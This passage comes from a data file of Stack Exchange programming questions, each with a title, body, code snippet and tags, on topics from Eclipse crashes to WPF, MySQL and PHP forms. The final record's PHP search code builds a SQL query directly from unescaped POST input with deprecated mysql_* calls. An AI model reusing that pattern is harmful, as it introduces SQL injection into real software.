able to change the state of any of the individual objects.\n", "", "c# arrays oop
object const"], "4389915": ["eclipse fatal error under ubuntu", "causes:\n1.connect
to a svn resp from eclipse;\n2.open a android virtual device\nthe error log seems
complex:\n\n", "#\n# A fatal error has been detected by the Java Runtime
Environment:\n#\n# SIGSEGV (0xb) at pc=0x00007feaeed0c1c0, pid=29042,
tid=140646465390352\n#\n# JRE version: 6.0\n# Java VM: OpenJDK 64-Bit Server VM
(19.0-b09 mixed mode linux-amd64 compressed oops)\n# Problematic frame:\n# C [ld-
linux-x86-64.so.2+0x11c0]\n...\nJava frames: (J=compiled Java code, j=interpreted,
Vv=VM code)\nj
org.tigris.subversion.javahl.SVNClient.info2(Ljava/lang/String;Lorg/tigris/
subversion/javahl/Revision;Lorg/tigris/subversion/javahl/Revision;I[Ljava/lang/
String;Lorg/tigris/subversion/javahl/InfoCallback;)V+0\nj
org.tigris.subversion.javahl.SVNClient.info2(Ljava/lang/String;Lorg/tigris/
subversion/javahl/Revision;Lorg/tigris/subversion/javahl/Revision;Z)[Lorg/tigris/
subversion/javahl/Info2;+23\nj
org.tigris.subversion.svnclientadapter.javahl.AbstractJhlClientAdapter.getInfo(Lorg
/tigris/subversion/svnclientadapter/SVNUrl;Lorg/tigris/subversion/
svnclientadapter/SVNRevision;Lorg/tigris/subversion/svnclientadapter/SVNRevision;)\
n...\n--------------- T H R E A D ---------------\nCurrent thread
(0x00007feadc16f800): JavaThread \"ModalContext\" [_thread_in_native, id=29087,
stack(0x00007feace8bc000,0x00007feace9bd000)]\nsiginfo:si_signo=SIGSEGV:
si_errno=0, si_code=128 (), si_addr=0x0000000000000000\n...\n...\nuname:Linux
2.6.38.8-621 #2 SMP Wed Sep 14 13:43:05 PDT 2011 x86_64\nlibc:glibc 2.11.1 NPTL
2.11.1 \nrlimit: STACK 8192k, CORE 0k, NPROC 32768, NOFILE 32768, AS infinity\nload
average:0.07 0.12 0.12\n", "java eclipse subclipse"], "2794317": ["Prevent user
from playing MMORPGs", "I am setting up a Win 7 Home Premium PC for an ADULT user.
The user has two Win 8 PCs on which she can play games at certain times of the day
(and not use them at all the rest of the time).\nThe challenge for the Win 7
machine is to prevent her from playing MMORPGs EVER. Since she has two other PCs
which can do this, the Win 7 machine should only be used for her school work.
Obviously, she needs internet access for her school work, so turning that off isn't
an option. Since she has a limited account, she won't be able to install any games,
but I understand there are some MMORPGs that are entirely browser-based. \nI have
already set up the Win 7 parental controls, but now need 3rd party software to
block MMORPGs without hindering her ability to do her homework. I am not interested
in blocking porn, chat programs, etc., just the MMORPGs. If I block one, she'll
just start using a different one.\n\"Talking to her\" isn't an option.\nWe're also
not concerned that she'll defeat any software I install. (Instead of trying to
defeat the software she had previously, she just bought a new PC! She will no
longer be able to do this without her father's Ok.)\nThanks for any suggestions! \
n", "", "windows-7 parental-controls access-control"], "1673631": ["Negative limit
offset in mysql", "I'm creating a high score server and one of the needed features
is being able to retrieve high scores around the users current score. I currently
have the following: \n\nThe only problem here is that the offset parameter of LIMIT
can't be negative, otherwise I believe this would work dandy. So in conclusion, is
there any trick / way to supply a negative offset to the LIMIT offset, or is there
perhaps a better way to about this entirely?\n", "SELECT * FROM highscores \nWHERE
score >= ( SELECT score FROM highscores WHERE userID = someID ) \nORDER BY score,
updated ASC \nLIMIT -9, 19\n", "mysql sql sql-order-by"], "5343520": ["How to
modify java editor's context menu per perspective?", "The context menu is cluttered
with items I will never use when working on a particular group of projects.\nFor
example, I have aspectj installed. But most of my projects do not deal with
aspectj. So I wish to create a perspective where aspectj items are not displayed.\
nI should not have to hack into each respective plug-in to do that.\nI could
configure the perspective to restrict the menu and toolbar items being displayed.\
nTherefore, common sense leads me to believe that I should be able to configure my
perspective to reduce the number of items on the editor context popup menu. If
there is a way, could you please let me know how?\n", "", "java eclipse
contextmenu"], "3362348": ["What form-factors do PSUs use nowadays?", "I'm building
a desktop and I'm going to get the SilverStone SST-ST50F 500W as my PSU. What form-
factor is it? \nIs it ATX, following the motherboard form-factor or different?\n",
"", "power-supply desktop-computer atx desktop-customization"], "1863002": ["CVSNT
- Deleted file keeps coming back", "I have a batch script that I use to update all
my checked out projects. It basically issues a command on all of them.\nRecently,
a sub-directory in one of the projects was deleted (by deleting all files in it)
but my script keeps bringing it back and then complaining, which messes up my error
testing.\n\nIf I manually delete it before updating, I get:\n\nDeleting the
directory also does not help, it gets recreated.\nHow do I stop it from happening?\
nThanks,\nAlex.\n", "cvs -q update -A -P -d", "windows file directory deleted
cvsnt"], "89061": ["Internal hard disk partitions (sda2) not showing in android
system", "I have a total hard disk of 232 GB , in which 4 GB allocated for android
and rest I don't know where it gone.\nOn open super user and running this command
in android terminal: \ncat /proc/partitions \nI get following result: \n\
nBlock_Size(232Gb) sda\nBlock_Size(4Gb) sda1\nBlock_Size(rest) sda2\n\nThis show
there is two partitions (sda1 ,sda2) of total drive(sda).\nsince android install in
sda1 and seen in it's file system .\nBut sda2 data is invisible . how can I mount
this drive in android . \nI just want to access and visible the sda2 storage drive.
HELP ME \n", "", "android android-ndk bootloader"], "5956056": ["Display words in
color", "I am looking for a tool which takes a file in input and a word to search.
It should display the file with color the words if it corresponds to the search.\
nLike but displays all the file.\nIs there something already exists ?\nExample : \
nDisplay all /etc/passwd file and color the words \"root\"\nIf I can change the
color easily it would be great !\n", "grep --colors", "command-line sed grep"],
"3075286": ["field as a permission for other field with CCK", "i want to have a
content type with a phone number field that user can select it be shown to all or
not. so i need a field after this field in add content page to give the user this
option. but how can i check if user has checked it and then show the phone number
in view page??\ndo i need some php coding for it?\n", "", "drupal drupal-views
cck"], "4401880": ["Rudin Principles Page 42: Cantor set.", "No segment of the form
$\\left(\\dfrac{3k+1}{3^{m}},\\dfrac{3k+2}{3^{m}}\\right)$ where $k,m\\in\\
mathbb{Z}^{+}$ has a point in common with the Cantor set. Is there a simple proof
of this statement?\n", "", "real-analysis"], "5473573": ["Are there any tools that
assist in porting F# to OCaml?", "Unfortunately, due to .NET's lack of an
incremental GC (either in the MS or Mono implementation), building soft real-time
software such as games with F# is problematic. I've written a language in F# that,
if -\na) it doesn't perform adequately in the face of the generational GC
(arbitrary pauses during the interactive simulation, and\nb) OCaml gets a good
complete port to the LLVM backend -\nI will port it from F# to OCaml. I have
avoided as much .NET-specific libraries as I could, and since F#'s syntax is based
on OCaml's, I'm assuming there should be some automated tools to assist in
converting the code.\nAnyone know of such things, either finished or in progress?\
nThanks deeply!\n", "", "f# real-time
ocaml llvm porting"], "2794316": ["Strike-through in a DataGrid", "Given some rule
I want to strike through an entire row in a DataGrid. Is it possible?\n", "", "flex
flex3"], "5071052": ["Display a variable-sized collection of TextBlocks/ComboBoxes
in Silverlight 3", "I have a list of textual descriptions, each of which a user
must score on a scale of 1-5. The number of textual descriptions is variable, so I
can't just define a static Grid in XAML.\nThe following image shows approximately
what I'm after:\n\nIn ASP.NET, I could bind my list of text items to a Repeater
control. For each row, the text would be displayed in a Label, and next to it
would be a DropDownList that contains a static list of items. Is there a similar
control available in Silverlight?\nShould I be using one of these?\n\nDataGrid\
nListBox\nCustom control derived from ItemsControl\n(Other)\n\n", "", "silverlight
silverlight-3.0"], "1965097": ["HTML Fluid layout with percentile margins", "How do
I get my yellow boxes layout in one line. \nHtml (Updated - small boxes with the
numbers must be inline):\n\n", "<table style='table-layout: fixed; border-collapse:
collapse; width: 100%;'>\n <tr>\n <td style='width: 34%;
border: 1px solid #ccc; display: inline-block;'>\n\n <!--
commented out doesn't work-->\n <!--div style=\"margin-right:
55%; margin-left: -55%; background-color: yellow;\">One</!--div-->\n\n
<div style=\"margin-right: 50%; margin-left: -50%; background-color: yellow;\">\n
<div style=\"border: 1px solid #ccc; width: 20px; margin-left: auto; margin-right:
auto; text-align: center;\">1</div>\n </div>\n
<div style=\"margin-right: -50%; margin-left: 50%; background-color: yellow;\">\n
<div style=\"border: 1px solid #ccc; width: 20px; margin-left: auto; margin-right:
auto; text-align: center;\">2</div>\n </div>\n
</td>\n <td style='width: 33%; border: 1px solid #ccc;'>\n
<div style=\"margin-right: -50%; margin-left: 50%; background-color: yellow;\">\n
<div style=\"border: 1px solid #ccc; width: 20px; margin-left: auto; margin-right:
auto; text-align: center;\">3</div>\n </div>\n
</td>\n <td style='width: 33%; border: 1px solid #ccc;'>\n
<div style=\"margin-right: -50%; margin-left: 50%; background-color: yellow;\">\n
<div style=\"border: 1px solid #ccc; width: 20px; margin-left: auto; margin-right:
auto; text-align: center;\">4</div>\n </div>\n
</td>\n </tr>\n </table>\n", "html5 margins negative-margin"],
"389630": ["C# WPF Draggable UserControls in ListBox on Canvas", "I have
UserControls which i have in a ListBox, which then hosts them on a Canvas. I've
then made the UserControls draggable on the canvas by using the
DraggableExtender(Dragging an image in WPF).\nBut ever since I changed from
ItemsControl to ListBox, to be able to make the controls selectable, the Dragging
works really bad. For instance if I'm dragging a control over another control the
other control gets focused and sticks to the dragging. Also if I move the mouse
outside the canvas the usercontrol gets stuck at the edge and i loose dragging
focus, like if CaptureMouse doesn't work.\nThe ListBox looks like this(when it
worked before it was an ItemsControl):\n\nMy DraggableExtender looks like this:\n\
nI've been trying to find a solution but so far I've been unsuccessful. Does anyone
have any idea why this is happening and how I can solve it?\n", "<ListBox
ItemsSource=\"{Binding Components}\" SelectedItem=\"{Binding SelectedItem}\"
Background=\"Transparent\">\n <ListBox.ItemsPanel>\n
<ItemsPanelTemplate>\n <Canvas ClipToBounds=\"True\"
Height=\"{Binding CurrentProject.Height, Converter={StaticResource
SizeConverter}}\"\n Width=\"{Binding
CurrentProject.Width, Converter={StaticResource SizeConverter}}\" \n
HorizontalAlignment=\"Left\" VerticalAlignment=\"Top\">\n
<Canvas.Background>\n <SolidColorBrush
Color=\"{DynamicResource {x:Static SystemColors.WindowFrameColorKey}}\"/>\n
</Canvas.Background>\n </Canvas>\n
</ItemsPanelTemplate>\n </ListBox.ItemsPanel>\n
<ListBox.ItemContainerStyle>\n <Style TargetType=\"{x:Type
ListBoxItem}\">\n <Setter Property=\"HorizontalAlignment\"
Value=\"Stretch\" />\n <Setter Property=\"Background\"
Value=\"Transparent\" />\n <Setter Property=\"Template\">\n
<Setter.Value>\n <ControlTemplate TargetType=\"{x:Type
ListBoxItem}\">\n <Grid>\n
<Border Background=\"{TemplateBinding Background}\" />\n
<ContentPresenter/>\n </Grid>\n
<ControlTemplate.Triggers>\n <MultiTrigger>\n
<MultiTrigger.Conditions>\n <Condition
Property=\"IsMouseOver\" Value=\"True\" />\n
<Condition Property=\"IsSelected\" Value=\"False\"/>\n
</MultiTrigger.Conditions>\n <Setter
Property=\"Background\" Value=\"#8868D5FD\" />\n
</MultiTrigger>\n <Trigger
Property=\"IsSelected\" Value=\"True\">\n
<Setter Property=\"Background\" Value=\"#4468D5FD\" />\n
</Trigger>\n </ControlTemplate.Triggers>\n
</ControlTemplate>\n </Setter.Value>\n
</Setter>\n <Setter Property=\"Utils:DraggableExtender.CanDrag\"
Value=\"True\" />\n <Setter Property=\"Canvas.Top\"
Value=\"{Binding Path=Conveyor.Y, Converter={StaticResource
SizeConverter},Mode=TwoWay}\" />\n <Setter
Property=\"Canvas.Left\" Value=\"{Binding Path=Conveyor.X,
Converter={StaticResource SizeConverter},Mode=TwoWay}\" />\n
</Style>\n </ListBox.ItemContainerStyle>\n </ListBox>\n", "c# wpf
canvas listbox draggable"], "5954389": ["Why is a WPF TextBox sending wmiprvse.exe
out of control?", "I have been working on an application, and was trying to figure
out why my CPU usage was hitting 80-100%.\nI narrowed it down to the TextBox
controls in my WPF page. It turns out that if I put focus on them it would start
hammering the wmiprvse.exe process. This sent my overall CPU usage up to 100%.\nI
then created a test WPF application to see whether it may have been underlying
code, or whether it is just the TextBox that is the culprit. Turns out, IT IS!\nMy
test form only one text box, but as soon as I put focus on it to start editing some
text, my CPU rockets to 100%.\nHas anyone else experienced this problem, and do you
know of any workaround?\nUpdate\nWell I have figured it out. \nIn another
application I was using a . I was querying every second so I may have been
creating a backlog somehow.\nHere is a little sample of what I removed:\n\nNext
time I better be careful when using the Management class!\n",
"ManagementEventWatcher", "c# wpf textbox cpu"], "5220443": ["RVM Mixed Mode -
Local Gem Installation", "This thing is driving me nuts.\nI've installed RVM on a
CentOS server; I followed the mixed mode instructions perfectly.
https://rvm.io/rvm/install/\nWhen I try to do a \"gem install\" from a user account
however, I get this:\nYou don't have write permissions into the
/usr/local/rvm/gems/ruby-1.9.3-p194 directory.\nIt is my understanding that if RVM
mixed mode is set up properly, users can install their own gems. It's not feasible
here for me to give all ruby users the ability to install gems globally.\nHere's
what I've done after login:\n\nOkay, I have a lead (a related question popped up on
here).\nMy gem path is:\n\nDoesn't seem right.\n", " # gem install rails\n -
bash: gem: command not found\n # rvm use 1.9.3\n Using
/usr/local/rvm/gems/ruby-1.9.3-p194\n Running /usr/local/rvm/hooks/after_use\n
# gem install rails\n ERROR: While executing gem ...
(Gem::FilePermissionError)\n You don't have write permissions into the
/usr/local/rvm/gems/ruby-1.9.3-p194 directory.\n", "ruby rvm"], "1119888": ["php
simplexml xpath question", "Hey, I'm very newbie to xPath and time is against me, I
don't have the time right now to learn a lot about it, so I hope you guys can help
me with this! :)\nHere is my xml format:\n\nHere is some php code, loading the
document into a simplexml object, and do some search (the $movie_name variable is a
string passed as an argument to the function):\n\nSo my question is in the code
comments, what is the xpath syntax to retrieve the filmid when I have the titel
element value?\n", "<Filme>\n <Film>\n <filmid>13497</filmid>\n
<originaltitel>Bird</originaltitel>\n <originaluntertitel></originaluntertitel>\n
<titel>Bird (OmU)</titel>\n <untertitel></untertitel>\n
<filmstart>0000-00-00</filmstart>\n <fsk>12</fsk>\n </Film>\n</Filme>\n", "php
xpath simplexml"], "5168160": ["Python: why aren't variables updating?", "A python
program that I'm debugging has the following code (including statements for
debugging):\n\nUp until that point, the
variables update correctly. When I run that code, I get the following on the
screen:\n\nWhy aren't oup[\"2008\"] and oup[\"2009\"] updating?\n(Python version is
2.6.2 on a \"Jaunty\" Ubuntu machine.)\n", "print", "python variables integer"],
"4208001": ["Drupal relative link problems moving from mydomain.com/test to
mydomain.com", "I currentley have a test site up and running on mydomain.cm/test. I
am using the WYSIWYG module with tinymce to allow my customers to upload pictures
to the site. One a image is added to the site tinymce/imce does not use the base
url defined for the site in front opf links but gives linkes realtive to the root
i.e. a picture of img.jpg will be linked in the code as /test/img.jpg. When the
site goes live and we lose the /test the img will no longer be found there.\nWhat
would be the best way to bulk upload all the links before going live to remove
/test in front of the links?\nIn the future when settting up a test site I will
user a subdmain instead so I will not have this issue.\nAny help would be
apreciated.\n", "", "drupal drupal-6 tinymce wysiwyg"], "2262147": ["How does the
iPhone Google image search touch-event functionality work?", "When I do a Google
image search on my iPhone within the Safari mobile browser, it gives me this
beautiful interface for flipping through the images. If I swipe left or right, it
browses through the images. If I touch and move up or down, I get what appears to
be the native Safari scroll function. Can anyone explain how Google does this?
I'm only beginning to learn the Safari API for touch events. It seems like either
you capture the touch event to attach handlers to swipe left or right or you let
Safari handle the touch events natively, in which case you get the beautiful native
Safari scrolling. Can anyone explain how Google captures left/right swipe but not
scrolling?\n", "", "javascript iphone touch mobile-safari google-apps"], "630690":
["JavaScript Duplicate Empty Boxes Produced by a loop", "Hi I've been having so
trouble with this project I need to change colors or matching numbers in 2 arrays,
but have the remaining numbers stay there natural color.\n\nWhen I have this
display it gives me 5 empty boxes and 1 box with the number in it. It also stops
my match if from working I was just wondering if anybody could help me sort this
out. Thanks for the help in Advance :)\n", "for(d = 0; d < lotteryNums.length; d+
+) {\n for(x = 0; x < quickDrawNums.length; x++) {\n if(lotteryNums[d] ==
quickDrawNums[x]) { \n quickDrawNums[x]
= \"<span class='winner'>\" + quickDrawNums[x] + \"</span>\";
\n winCounter++;\n } else {\n quickDrawNums[x]
= \"<span class='number'>\" + quickDrawNums[x] + \"</span>\";\n }\n }\n}\
n", "javascript arrays for-loop"], "5334835": ["Wicket Header Render Strategy", "I
am using Wicket 1.5.x with tag. I tried rendering the child component (Wicket
Panel) CSS / JS 1st then followed by the parent. It didn't work. It always renders
the parent (Wicket WebPage) JS 1st. I used or and it rendered the same HTML
output. Do these header renderers strategy works with tag at all?\nThanks\n",
"<wicket:head>", "java wicket"], "3916787": ["how to use external jar file in
blackberry eclipse plugin", "I have a jar file which contains .cod,.cso and .csl
files.I need to use the jar file in my blackberry project.I added the jar file to
build path of my main project.It was giving the error \"Cannot start project has
verification errors\". I preverified the jar file and added to the build path and
exported the jar file(Right click on project -> Libraries ->Order and Export).When
I export the jar file the project is not compiling.Can anyone suggest me to add the
external jar file to my project.\nregards\n", "", "blackberry"], "58954": ["Render
of UIElement Causes App To Hang For Several Seconds", "I have a WPF application -
using MVVM for the design pattern.\nIn the Main View, there is a ContentPresenter
that is bound to a property in the corresponding ViewModel. I have type-
referential datatemplate for the data type associated with that property.
Essentially, based on a certain action performed by the user, the ContentPresenter
will display the data from a specific data template. In the data template I have
DevExpress' GridControl. It sucks and I hate it, but due to company standards, I
have to use it. My main pain point is that it takes several noticable seconds for
the UI to render to data template because of this GridControl. Is there anything
that I can do to mitigate this? I'd like to display a \"please wait\" progress
indicator, but even that gets stuck for several seconds...\nPlease help.\n", "",
"wpf devexpress"], "4176603": ["maven unable to differentiate between two similar
classes in different jars", "i am using Maven 3 and trying to build a jar.Now there
is a class which is present in two different dependent jars. Though the methods in
the interface is different but maven is trying to get the method defined in the
class in different jar . So how to ensure that the class is picked from another
jar?\nE.g the required class is xyz.class and is present in two differnet jars as:\
njar1: com/mycompany/xyz.class\nand jar2: com/mycompany/xyz.class \nThe xyz.class
in jar1 is what maven is picking up i suppose but i want the one in jar2\nThanks\
n", "", "java jar maven-3"], "3507559": ["Facebook Canvas App: API Error Code: 191
: Authentication Error", "I'm trying to setup a new facebook app using the example
from Facebook but Authentication gives me an error.\nI first go
developers.facebook.com/setup/ and use the URL of my site (tried both the base and
subfolder: http://mydomain.com and http://mydomain.com/facebook-app/ )\nCanvas
URL : http://mydomain.com/faceboo-app/\nSecure Canvas URL: none\nMy index.php\n\n?
>\nWhen I try to visit http://apps.facebook.com/XXXXXXXXXXXXXXX/\nI get: \nAn error
occurred with APP Name. Please try later\nAPI Error Code: 191\nAPI Error
Description: The specified URL is not owned by the application\nError Message:
Invalid redirect_uri: Given URL is not permitted by the application configuration.\
nCan someone please help?\n", "<?php \n\n\n $app_id = \"XXXXXXXXXXXXXXXXXXXX\";\n\n
$canvas_page = \"http://apps.facebook.com/XXXXXXXXXXXXXXX/\";\n\n $auth_url
= \"http://www.facebook.com/dialog/oauth?client_id=\" \n .
$app_id . \"&redirect_uri=\" . urlencode($canvas_page);\n\n $signed_request =
$_REQUEST[\"signed_request\"];\n\n list($encoded_sig, $payload) = explode('.',
$signed_request, 2); \n\n $data = json_decode(base64_decode(strtr($payload, '-_',
'+/')), true);\n\n if (empty($data[\"user_id\"])) {\n echo(\"<script>
top.location.href='\" . $auth_url . \"'</script>\");\n } else {\n echo
(\"Welcome User: \" . $data[\"user_id\"]);\n } \n", "php facebook facebook-connect
facebook-authentication facebook-apps"], "696486": ["VB.NET - Call multiple
Constructors", "I'm a c# developer and have not enought experience in VB.NET.\nthe
scenario:\n\nWith this code at the second FooPresenter constructor i get an error \
n\"Constructor call is valid only at the first statement in an instance
constructor.\"\nat:\n\nIf i invert the order i get the error at:\n\nI can create a
method SetValues( ... parameters ... ) and call it from the two constructors but
does someone knwos a workaround to avoid this error?, why the compiler do not
validate the possibility to call the base constructor before the overloaded
constructor?.\nDoes someone knows how to justify logically the fact that it's not
possible to call the base class constructor and another class level constructor
from one class level constructor at the same time?\n", "Namespace Presenters\n
Public Class BaseFooPresenter\n\n ' assuming the public default
parameterless constructor\n\n Public Sub New(ByVal strvar As String)\n
' TODO with strvar variabile\n End Sub\n\n End Class\n\n Public Class
FooPresenter\n Inherits BaseFooPresenter\n\n Public Sub New(ByVal
boolvar As Boolean)\n ' TODO with boolvar variabile\n End Sub\n\n
Public Sub New(ByVal boolvar As Boolean, _\n ByVal objvar As
Object)\n MyBase.New(String.Empty)\n Me.New(true)\n
' TODO with objvar variabile\n End Sub\n\n End Class\nEnd Namespace\n",
".net vb.net class constructor"], "4453825": ["How do you submit to 2 forms at the
same time, one form in a different directory?", "I have a few login pages in
iframes that I'd like to use only one form to post login credentials, to the
various forms that use the same username and password.\n<--works\n<--doesn't work\
nI have done something similar to this when all the forms were within the same php
page, but not in iframes, and in different folders on the server.\nAny suggestions
will be appreciated. Thank you.\nForm\n\nphp\n\n", "function myform()
{document.form1.submit();}", "php javascript forms"], "1807206": ["Why can't I get
this initialized?", "I have been trying to figure this out for DAYS. I am a
beginner, so please bear with me. I have read a bunch of articles on delegation but
I still just don't get it. Any help would be much appreciated.\nHeader\n\
nImplementation\n\n", "@protocol MidiInit <NSObject>\n@end\n\n\n@interface
CBAppDelegate : UIResponder <UIApplicationDelegate>\n\n@property (strong,
nonatomic) id midiDelegate;\n\n-(id) initWithDelegate :(id <MidiInit>) delegate;\n\
n@end\n", "objective-c ios delegates"], "5385174": ["nanosleep() never \"wakes up\"
on OS X Lion", "I'm using XCode 4.2 in Lion. When I compile my app with the Debug
profile (Pressing Apple+R to run it), then when I call nanosleep it never returns
from that function. Ever. If I profile the code (building Release profile)
then it does return. I'm just using the default profile settings for an XCode
project. Any idea what could possibly be going on here?\nTo reproduce this, create
a brand new blank application and put the following code into appDelegate.m:\n\
nExpected behaviour: Print \"World\" to the debug console 0.01 ms after Hello.\
nActual behaviour: Only \"Hello\" gets printed and no window appears.\n",
"#import \"AppDelegate.h\"\n#import <time.h>\n\n@implementation AppDelegate\n\
n@synthesize window = _window;\n\n- (void)applicationDidFinishLaunching:
(NSNotification *)aNotification\n{\n NSLog(@\"Hello\");\n struct timespec a;\
n a.tv_nsec = 10000;\n\n /** THE FIX! **/\n a.tv_sec = 0;\n /** THE
FIX! **/\n\n nanosleep(&a,NULL);\n NSLog(@\"World\");\n}\n\n@end\n",
"objective-c osx osx-lion xcode4.2 time.h"], "1502451": ["Morrey space and
Campanato space.", "I'd like to know a lot about Morrey space and Campanato spaces.
For example, I'd like to know how can I see the details presents here. I'd like
some reference about this. I thank you very much. \n", "", "functional-analysis
reference-request banach-spaces"], "3484890": ["Custom query with filters returns
wrong number of found_posts", "I have a custom query with a couple of filters,
defined in functions.php:\n\nThus the complete query should be:\n\nOn my custom
(archive) page, I apply the filters and add other arguments:\n\nWith manual tests
in mysql I can confirm that the above gives me the correct results, even when I try
subsequent pages, written manually in the address bar of my browser.\nI cannot,
however, get it to return the correct numbers of rows. And, for that matter, I
can't find the correct way to echo the generated query string.\nBoth and echo
unexpected (and default) values.\nWhere exactly do I have to define global
variables and call and ?\nThanks for the input.\n", "function myJoin($join) {\n
global $wp_query, $wpdb;\n $join = \"\n LEFT JOIN $wpdb->postmeta AS
i ON (\n $wpdb->posts.ID = i.post_id\n AND i.meta_key
= 'myissue' \n )\n LEFT JOIN $wpdb->postmeta AS o ON (\n
$wpdb->posts.ID = o.post_id\n AND o.meta_key = 'myorder' \n
)\n \";\n return $join;\n}\n\nfunction myWhere($w) {\n global
$wp_query, $wpdb;\n $w = \"\n AND wp_posts.post_status =
'publish'\n AND i.meta_value != (\n SELECT
max(meta_value + 0)\n FROM $wpdb->postmeta\n
WHERE meta_key = 'myissue'\n )\n \";\n return $w;\
n}\n\nfunction myNewOrder($o) {\n global $wp_query, $wpdb;\n $o = \"\n
i.meta_value + 0 DESC,\n o.meta_value + 0\n \";\n\n return
$o;\n}\n", "wp-query mysql"], "4377922": ["can't POST data from <textarea> in
codeigniter", "I have been trying to retrieve this data from a textarea using post,
but i keep geeting no data back. any help would be appreciated.\nHere is my form\
n\nMy controller looks like this\n\nAny help would be appreciated\n", " <?php echo
validation_errors(); ?>\n <?php echo form_open('s2e/contactValidation'); ?>\n
<ul>\n <li><label>Subject<input type=\"text\" id=\"emailsubject\"
name=\"subject\" placeholder=\"[email protected]\" width=\"200\"></label></li>\n
<li><label>From<input type=\"email\" id=\"emailfrom\" name=\"from\" ></label></li>\
n <li><label>Message</label><textarea id=\"message\" name=\"message\"
rows=\"6\" cols=\"200\" form=\"contact\" ></textarea></li>\n </ul>\n
<button type\"submit\" name=\"sendemail\">Send</button> \n </form>\n",
"codeigniter post textarea"], "5269838": ["reading an integer from a file", "I have
a code which suppose to read an integer from a file. But its actually reading as an
character. Suggest me some modification where I can read the integers into an
array.\n\nThanks in advance\nAmit\n", "fptr =fopen(\"path\",\"r\");\n\nwhile(1)\n{\
n c=getc(fptr);\n putchar(c);\n if (c==EOF)\n exit(1);\n}\n", "c arrays file
integer strtol"], "5690170": ["using google analytics to track user-wise
information", "What is the best option to track user wise analytics? I am looking
for google analytics along with per-user reports.\nsome questions:\n1) was using
custom variables to track the userId and was able to see the report in Visitors ->
'Custom Variable', any way to see the same on the content report. There is an
option for 'user defined variables' but that is not populated.\n2) is there a
sandbox for google analytics. searched for it but it seems like the only option is
to serve the file from the local machine (to check the tracking gif) and to create
a separate tracker so as to not pollute the production data with testing. The lack
of sandbox seems kind of a PITA. can check the content report immediately but
custom variables takes a longer time to get updated.\n3) are
http://piwik.org/piwik.org or http://mnutt.github.com/hummingbird/hummingbird any
good?\n4) what is the best way to track per-user interaction on the site, can
suggest a better alternative to google analytics. Realtime is not a requirement.
Wanted a hosted service as i do not want to host a server and also do not want to
go into the trouble of parsing the logs - but can do it if it is easy.\n", "",
"google-analytics analytics piwik"], "2450971": ["Windows Azure Toolkit", "I'm
trying to build and run some of the example apps included in the Windows Azure
Toolkit here, but it can't seem to find which is a required file for build. I have
not modified the project in any way and I would assume that this file should be
included automatically, so how do I get it? How have you guys been able to compile
the apps successfully? Thanks.\n", "libwatoolkitios.a", "iphone objective-c ios
ipad azure"], "2425005": ["Using key and values in collections", "Is there any way
to make a key for searching the values in the collections and not returning null
keys and values?\n", "", "java collections"], "3997786": ["My computer loses
network connectivity every 30 minutes", "My LAN connected PC loses network
connectivity every 30 minutes. It has a static IP address and I've checked to make
sure there aren't any IP conflicts on my network. If I'm streaming from that PC to
my Xbox the stream will be interrupted and it normally takes about a minute to come
back online. The same happens if I'm actually on the PC and just browsing the web.\
nI'm looking for suggestions on how to track down this issue. I've tried checking
the available logs on my router to see if there is an issue with DCHP but have been
unsuccessful in finding any evidence. Any suggestions would be helpful. I can't
think of any recent changes to my network, PC or software installations that may
have caused this.\nI am a software developer and have intermediate networking
knowledge.\nEDIT: During the last outage my PC was not able to connect to the
router. A separate laptop was connected to wireless at the time and had no issues
browsing the internet or connecting to the router. A new symptom however has
arisen. The Xbox 360, connected via ethernet cable, was not able to connect to Xbox
Live. This is the first time this has happened. No devices connected via wireless
(laptop, iPhone, iPad) had any connectivity issues, but two ethernet connected
devices had issues.\nEDIT: During one outage I told windows to troubleshoot the
network problem and it said that it could automatically fix the problem by changing
DCHP info. It basically said my network adapter from static to automatically
obtain. This did fix the issue quicker than just waiting it out, but the outage
occurred again 30 minutes later even when leaving those settings.\n", "",
"networking troubleshooting connection"], "1875498": ["Terminal not displaying
correctly after quitting Xorg", "I am running a fresh arch-linux install (as of
17/07/12) with the ATI catalyst drivers (as mentioned on the wiki page).\nWhen I
run , everything works fine and looks great but when I exit the xsession it doesn't
return me to the standard bash terminal correctly. Instead I get what appears to be
the top left quarter of the original terminal which is unresponsive apart from the
occasional visual corruption when I press keys.\nWhat can I do to fix this?\nEDIT:
Using Ctrl+Alt+F1 shows the same thing.\n", "xinit", "xorg arch-linux ati"],
"5628582": ["How to get a border around text element with auto-width/height in
Silverlight + padding", "What I have at the moment is only defined width:\n\
nSomething equivalent to html like (just for example):\n\n", "<Grid>\n
<Rectangle Fill=\"#FFF5F7F9\" HorizontalAlignment=\"Left\" Height=\"80\"
Stroke=\"#FF565656\" VerticalAlignment=\"Top\" Width=\"128\" RadiusY=\"15\"
StrokeThickness=\"3\" RadiusX=\"15\"/>\n <TextBlock
HorizontalAlignment=\"Left\" Height=\"47\" TextWrapping=\"Wrap\" Text=\"Draft\"
VerticalAlignment=\"Top\" Width=\"106\" FontSize=\"32\" FontStyle=\"Italic\"
FontFamily=\"Verdana\" Margin=\"20,21,0,0\"/>\n</Grid>\n", "silverlight border
padding"], "4873244": ["Display search results in two rows", "I'm making a webpage
and i add it a search engine. Here is the code from the results page.\n\nI want the
results to be shown in two rows instead of one row which is shown now.\nAlso each
result has a picture and 3 lines of text. I want the text to be show on the right
side of the picture. Not below the picture as it shows now.\nCan anyone help me?\
nUPDATE 1\nDainis your code was very helpful. So close to what i need. \nYou code
gives me this:\n\nBut i need something like, this:\n\nCan you help me with this? \
n", " $term = $_POST['term'];\n\n $sql = mysql_query(\"select * from artists2
where Fname like '%$term%' or Genre like '%$term%' or Specialty like '%$term%'
order by Fname\");\n\nwhile
($row = mysql_fetch_array($sql)){\n echo '<table width=\"550\" border=\"0\"
cellspacing=\"0\" cellpadding=\"0\">';\n echo '<tr>';\n echo '<td width=\"550\"
height=\"200\"><img src=\"'.$row['Bio']. '\" alt=\"\" width=\"150\"
height=\"200\"></td>';\n echo '</tr>';\n echo '<tr>';\n echo '<td width=\"550\"
height=\"30\">Name: '.$row['Fname'].'</td>';\n echo '</tr>';\n echo '<tr>';\n
echo '<td width=\"550\" height=\"30\">Genre: '.$row['Genre'].'</td>';\n echo
'</tr>';\n echo '<tr>';\n echo '<td width=\"550\" height=\"30\">Specialty: '.
